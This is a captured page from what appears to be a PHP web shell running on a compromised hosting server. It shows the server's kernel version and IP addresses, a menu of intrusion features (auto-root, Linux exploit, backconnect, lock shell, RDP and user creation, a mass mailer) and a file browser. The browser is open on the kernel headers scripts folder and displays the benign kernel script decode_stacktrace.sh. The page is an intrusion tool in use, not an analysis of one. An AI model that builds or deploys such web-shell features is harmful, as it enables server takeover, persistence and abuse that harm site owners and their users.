Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.130.233
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25-generic /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
atomic
[ DIR ]
drwxr-xr-x
basic
[ DIR ]
drwxr-xr-x
clang-tools
[ DIR ]
drwxr-xr-x
coccinelle
[ DIR ]
drwxr-xr-x
dtc
[ DIR ]
drwxr-xr-x
dummy-tools
[ DIR ]
drwxr-xr-x
gcc-plugins
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
genksyms
[ DIR ]
drwxr-xr-x
kconfig
[ DIR ]
drwxr-xr-x
ksymoops
[ DIR ]
drwxr-xr-x
mod
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
tracing
[ DIR ]
drwxr-xr-x
.asn1_compiler.cmd
636
B
-rw-r--r--
.bin2c.cmd
385
B
-rw-r--r--
.extract-cert.cmd
463
B
-rw-r--r--
.insert-sys-cert.cmd
485
B
-rw-r--r--
.kallsyms.cmd
415
B
-rw-r--r--
.sign-file.cmd
433
B
-rw-r--r--
.sorttable.cmd
674
B
-rw-r--r--
Kbuild.include
9.33
KB
-rw-r--r--
Kconfig.include
2.56
KB
-rw-r--r--
Lindent
502
B
-rwxr-xr-x
Makefile
1.63
KB
-rw-r--r--
Makefile.asm-generic
1.82
KB
-rw-r--r--
Makefile.build
19.23
KB
-rw-r--r--
Makefile.clang
1.59
KB
-rw-r--r--
Makefile.clean
2.2
KB
-rw-r--r--
Makefile.compiler
2.69
KB
-rw-r--r--
Makefile.dtbinst
999
B
-rw-r--r--
Makefile.extrawarn
2.83
KB
-rw-r--r--
Makefile.gcc-plugins
2.69
KB
-rw-r--r--
Makefile.headersinst
2.88
KB
-rw-r--r--
Makefile.host
4.63
KB
-rw-r--r--
Makefile.kasan
1.67
KB
-rw-r--r--
Makefile.kcov
333
B
-rw-r--r--
Makefile.kcsan
739
B
-rw-r--r--
Makefile.lib
18.49
KB
-rw-r--r--
Makefile.modfinal
2.7
KB
-rw-r--r--
Makefile.modinst
2.39
KB
-rw-r--r--
Makefile.modpost
4.42
KB
-rw-r--r--
Makefile.package
6.61
KB
-rw-r--r--
Makefile.ubsan
837
B
-rw-r--r--
Makefile.userprogs
1.57
KB
-rw-r--r--
adjust_autoksyms.sh
2.07
KB
-rwxr-xr-x
as-version.sh
2.02
KB
-rwxr-xr-x
asn1_compiler
34.28
KB
-rwxr-xr-x
asn1_compiler.c
35.32
KB
-rw-r--r--
bin2c
15.71
KB
-rwxr-xr-x
bin2c.c
743
B
-rw-r--r--
bloat-o-meter
3.36
KB
-rwxr-xr-x
bootgraph.pl
5.64
KB
-rwxr-xr-x
bpf_doc.py
24.97
KB
-rwxr-xr-x
cc-can-link.sh
166
B
-rwxr-xr-x
cc-version.sh
1.51
KB
-rwxr-xr-x
check-sysctl-docs
4.37
KB
-rwxr-xr-x
check_extable.sh
4.93
KB
-rwxr-xr-x
checkdeclares.pl
1.1
KB
-rwxr-xr-x
checkincludes.pl
1.94
KB
-rwxr-xr-x
checkkconfigsymbols.py
15.35
KB
-rwxr-xr-x
checkpatch.pl
223.7
KB
-rwxr-xr-x
checkstack.pl
5.9
KB
-rwxr-xr-x
checksyscalls.sh
7.42
KB
-rwxr-xr-x
checkversion.pl
2.16
KB
-rwxr-xr-x
cleanfile
3.46
KB
-rwxr-xr-x
cleanpatch
5.06
KB
-rwxr-xr-x
coccicheck
7.89
KB
-rwxr-xr-x
config
4.67
KB
-rwxr-xr-x
const_structs.checkpatch
1009
B
-rw-r--r--
decode_stacktrace.sh
6.55
KB
-rwxr-xr-x
decodecode
2.88
KB
-rwxr-xr-x
depmod.sh
1.41
KB
-rwxr-xr-x
dev-needs.sh
6.07
KB
-rwxr-xr-x
diffconfig
3.72
KB
-rwxr-xr-x
documentation-file-ref-check
5.55
KB
-rwxr-xr-x
export_report.pl
4.5
KB
-rwxr-xr-x
extract-cert
17.23
KB
-rwxr-xr-x
extract-cert.c
3.46
KB
-rw-r--r--
extract-ikconfig
1.69
KB
-rwxr-xr-x
extract-module-sig.pl
3.66
KB
-rwxr-xr-x
extract-sys-certs.pl
3.75
KB
-rwxr-xr-x
extract-vmlinux
1.66
KB
-rwxr-xr-x
extract_xc3028.pl
44.62
KB
-rwxr-xr-x
faddr2line
6.15
KB
-rwxr-xr-x
file-size.sh
86
B
-rwxr-xr-x
find-unused-docs.sh
1.27
KB
-rwxr-xr-x
gcc-goto.sh
511
B
-rwxr-xr-x
gcc-ld
711
B
-rwxr-xr-x
gcc-x86_32-has-stack-protector...
408
B
-rwxr-xr-x
gcc-x86_64-has-stack-protector...
198
B
-rwxr-xr-x
gen_autoksyms.sh
1.47
KB
-rwxr-xr-x
gen_ksymdeps.sh
556
B
-rwxr-xr-x
generate_initcall_order.pl
5.95
KB
-rwxr-xr-x
get_abi.pl
15.1
KB
-rwxr-xr-x
get_dvb_firmware
24.54
KB
-rwxr-xr-x
get_feat.pl
14.34
KB
-rwxr-xr-x
get_maintainer.pl
67.13
KB
-rwxr-xr-x
gfp-translate
1.69
KB
-rwxr-xr-x
headerdep.pl
3.5
KB
-rwxr-xr-x
headers_check.pl
3.73
KB
-rwxr-xr-x
headers_install.sh
3.35
KB
-rwxr-xr-x
insert-sys-cert
21.45
KB
-rwxr-xr-x
insert-sys-cert.c
13.08
KB
-rw-r--r--
jobserver-exec
2.16
KB
-rwxr-xr-x
kallsyms
21.61
KB
-rwxr-xr-x
kallsyms.c
18.06
KB
-rw-r--r--
kernel-doc
68.21
KB
-rwxr-xr-x
ld-version.sh
1.67
KB
-rwxr-xr-x
leaking_addresses.pl
12.8
KB
-rwxr-xr-x
link-vmlinux.sh
10.67
KB
-rwxr-xr-x
makelst
808
B
-rwxr-xr-x
markup_oops.pl
7.92
KB
-rwxr-xr-x
min-tool-version.sh
558
B
-rwxr-xr-x
mkcompile_h
2.48
KB
-rwxr-xr-x
mksysmap
1.33
KB
-rwxr-xr-x
mkuboot.sh
414
B
-rwxr-xr-x
module.lds
485
B
-rw-r--r--
module.lds.S
1.54
KB
-rw-r--r--
modules-check.sh
427
B
-rwxr-xr-x
nsdeps
1.72
KB
-rw-r--r--
objdiff
2.84
KB
-rwxr-xr-x
pahole-flags.sh
502
B
-rwxr-xr-x
pahole-version.sh
269
B
-rwxr-xr-x
parse-maintainers.pl
4.54
KB
-rwxr-xr-x
patch-kernel
9.95
KB
-rwxr-xr-x
profile2linkerlist.pl
414
B
-rwxr-xr-x
prune-kernel
708
B
-rwxr-xr-x
recordmcount.c
16.69
KB
-rw-r--r--
recordmcount.h
19.37
KB
-rw-r--r--
recordmcount.pl
17.63
KB
-rwxr-xr-x
remove-stale-files
1.3
KB
-rwxr-xr-x
setlocalversion
3.5
KB
-rwxr-xr-x
show_delta
3.01
KB
-rwxr-xr-x
sign-file
25.8
KB
-rwxr-xr-x
sign-file.c
9.76
KB
-rw-r--r--
sorttable
20.81
KB
-rwxr-xr-x
sorttable.c
8.74
KB
-rw-r--r--
sorttable.h
9.65
KB
-rw-r--r--
spdxcheck-test.sh
277
B
-rw-r--r--
spdxcheck.py
10.09
KB
-rwxr-xr-x
spelling.txt
31.88
KB
-rw-r--r--
sphinx-pre-install
24.45
KB
-rwxr-xr-x
split-man.pl
604
B
-rwxr-xr-x
stackdelta
1.84
KB
-rwxr-xr-x
stackusage
794
B
-rwxr-xr-x
subarch.include
619
B
-rw-r--r--
syscallhdr.sh
1.89
KB
-rwxr-xr-x
syscallnr.sh
1.45
KB
-rwxr-xr-x
syscalltbl.sh
1.45
KB
-rwxr-xr-x
tags.sh
9.55
KB
-rwxr-xr-x
tools-support-relr.sh
546
B
-rwxr-xr-x
ubuntu-retpoline-extract-one
7.26
KB
-rw-r--r--
unifdef.c
34.8
KB
-rw-r--r--
ver_linux
2.59
KB
-rwxr-xr-x
xen-hypercalls.sh
386
B
-rwxr-xr-x
xz_wrap.sh
563
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : decode_stacktrace.sh
#!/bin/bash # SPDX-License-Identifier: GPL-2.0 # (c) 2014, Sasha Levin <sasha.levin@oracle.com> #set -x usage() { echo "Usage:" echo " $0 -r <release> | <vmlinux> [<base path>|auto] [<modules path>]" } if [[ $1 == "-r" ]] ; then vmlinux="" basepath="auto" modpath="" release=$2 for fn in {,/usr/lib/debug}/boot/vmlinux-$release{,.debug} /lib/modules/$release{,/build}/vmlinux ; do if [ -e "$fn" ] ; then vmlinux=$fn break fi done if [[ $vmlinux == "" ]] ; then echo "ERROR! vmlinux image for release $release is not found" >&2 usage exit 2 fi else vmlinux=$1 basepath=${2-auto} modpath=$3 release="" debuginfod= # Can we use debuginfod-find? if type debuginfod-find >/dev/null 2>&1 ; then debuginfod=${1-only} fi if [[ $vmlinux == "" && -z $debuginfod ]] ; then echo "ERROR! vmlinux image must be specified" >&2 usage exit 1 fi fi declare -A cache declare -A modcache find_module() { if [[ -n $debuginfod ]] ; then if [[ -n $modbuildid ]] ; then debuginfod-find debuginfo $modbuildid && return fi # Only using debuginfod so don't try to find vmlinux module path if [[ $debuginfod == "only" ]] ; then return fi fi if [[ "$modpath" != "" ]] ; then for fn in $(find "$modpath" -name "${module//_/[-_]}.ko*") ; do if readelf -WS "$fn" | grep -qwF .debug_line ; then echo $fn return fi done return 1 fi modpath=$(dirname "$vmlinux") find_module && return if [[ $release == "" ]] ; then release=$(gdb -ex 'print init_uts_ns.name.release' -ex 'quit' -quiet -batch "$vmlinux" 2>/dev/null | sed -n 's/\$1 = "\(.*\)".*/\1/p') fi for dn in {/usr/lib/debug,}/lib/modules/$release ; do if [ -e "$dn" ] ; then modpath="$dn" find_module && return fi done modpath="" return 1 } parse_symbol() { # The structure of symbol at this point is: # ([name]+[offset]/[total length]) # # For example: # do_basic_setup+0x9c/0xbf if [[ $module == "" ]] ; then local objfile=$vmlinux elif [[ "${modcache[$module]+isset}" == "isset" ]]; then local objfile=${modcache[$module]} else local objfile=$(find_module) if [[ $objfile == "" ]] ; then echo "WARNING! Modules path isn't set, but is needed to parse this symbol" >&2 return fi modcache[$module]=$objfile fi # Remove the englobing parenthesis symbol=${symbol#\(} symbol=${symbol%\)} # Strip segment local segment if [[ $symbol == *:* ]] ; then segment=${symbol%%:*}: symbol=${symbol#*:} fi # Strip the symbol name so that we could look it up local name=${symbol%+*} # Use 'nm vmlinux' to figure out the base address of said symbol. # It's actually faster to call it every time than to load it # all into bash. if [[ "${cache[$module,$name]+isset}" == "isset" ]]; then local base_addr=${cache[$module,$name]} else local base_addr=$(nm "$objfile" 2>/dev/null | awk '$3 == "'$name'" && ($2 == "t" || $2 == "T") {print $1; exit}') if [[ $base_addr == "" ]] ; then # address not found return fi cache[$module,$name]="$base_addr" fi # Let's start doing the math to get the exact address into the # symbol. First, strip out the symbol total length. local expr=${symbol%/*} # Now, replace the symbol name with the base address we found # before. expr=${expr/$name/0x$base_addr} # Evaluate it to find the actual address expr=$((expr)) local address=$(printf "%x\n" "$expr") # Pass it to addr2line to get filename and line number # Could get more than one result if [[ "${cache[$module,$address]+isset}" == "isset" ]]; then local code=${cache[$module,$address]} else local code=$(${CROSS_COMPILE}addr2line -i -e "$objfile" "$address" 2>/dev/null) cache[$module,$address]=$code fi # addr2line doesn't return a proper error code if it fails, so # we detect it using the value it prints so that we could preserve # the offset/size into the function and bail out if [[ $code == "??:0" ]]; then return fi # Strip out the base of the path on each line code=$(while read -r line; do echo "${line#$basepath/}"; done <<< "$code") # In the case of inlines, move everything to same line code=${code//$'\n'/' '} # Replace old address with pretty line numbers symbol="$segment$name ($code)" } debuginfod_get_vmlinux() { local vmlinux_buildid=${1##* } if [[ $vmlinux != "" ]]; then return fi if [[ $vmlinux_buildid =~ ^[0-9a-f]+ ]]; then vmlinux=$(debuginfod-find debuginfo $vmlinux_buildid) if [[ $? -ne 0 ]] ; then echo "ERROR! vmlinux image not found via debuginfod-find" >&2 usage exit 2 fi return fi echo "ERROR! Build ID for vmlinux not found. Try passing -r or specifying vmlinux" >&2 usage exit 2 } decode_code() { local scripts=`dirname "${BASH_SOURCE[0]}"` echo "$1" | $scripts/decodecode } handle_line() { if [[ $basepath == "auto" && $vmlinux != "" ]] ; then module="" symbol="kernel_init+0x0/0x0" parse_symbol basepath=${symbol#kernel_init (} basepath=${basepath%/init/main.c:*)} fi local words # Tokenize read -a words <<<"$1" # Remove hex numbers. Do it ourselves until it happens in the # kernel # We need to know the index of the last element before we # remove elements because arrays are sparse local last=$(( ${#words[@]} - 1 )) for i in "${!words[@]}"; do # Remove the address if [[ ${words[$i]} =~ \[\<([^]]+)\>\] ]]; then unset words[$i] fi # Format timestamps with tabs if [[ ${words[$i]} == \[ && ${words[$i+1]} == *\] ]]; then unset words[$i] words[$i+1]=$(printf "[%13s\n" "${words[$i+1]}") fi done if [[ ${words[$last]} =~ ^[0-9a-f]+\] ]]; then words[$last-1]="${words[$last-1]} ${words[$last]}" unset words[$last] last=$(( $last - 1 )) fi if [[ ${words[$last]} =~ \[([^]]+)\] ]]; then module=${words[$last]} module=${module#\[} module=${module%\]} modbuildid=${module#* } module=${module% *} if [[ $modbuildid == $module ]]; then modbuildid= fi symbol=${words[$last-1]} unset words[$last-1] else # The symbol is the last element, process it symbol=${words[$last]} module= modbuildid= fi unset words[$last] parse_symbol # modifies $symbol # Add up the line number to the symbol echo "${words[@]}" "$symbol $module" } while read line; do # Let's see if we have an address in the line if [[ $line =~ \[\<([^]]+)\>\] ]] || [[ $line =~ [^+\ ]+\+0x[0-9a-f]+/0x[0-9a-f]+ ]]; then # Translate address to line numbers handle_line "$line" # Is it a code line? elif [[ $line == *Code:* ]]; then decode_code "$line" # Is it a version line? elif [[ -n $debuginfod && $line =~ PID:\ [0-9]+\ Comm: ]]; then debuginfod_get_vmlinux "$line" else # Nothing special in this line, show it as is echo "$line" fi done
Close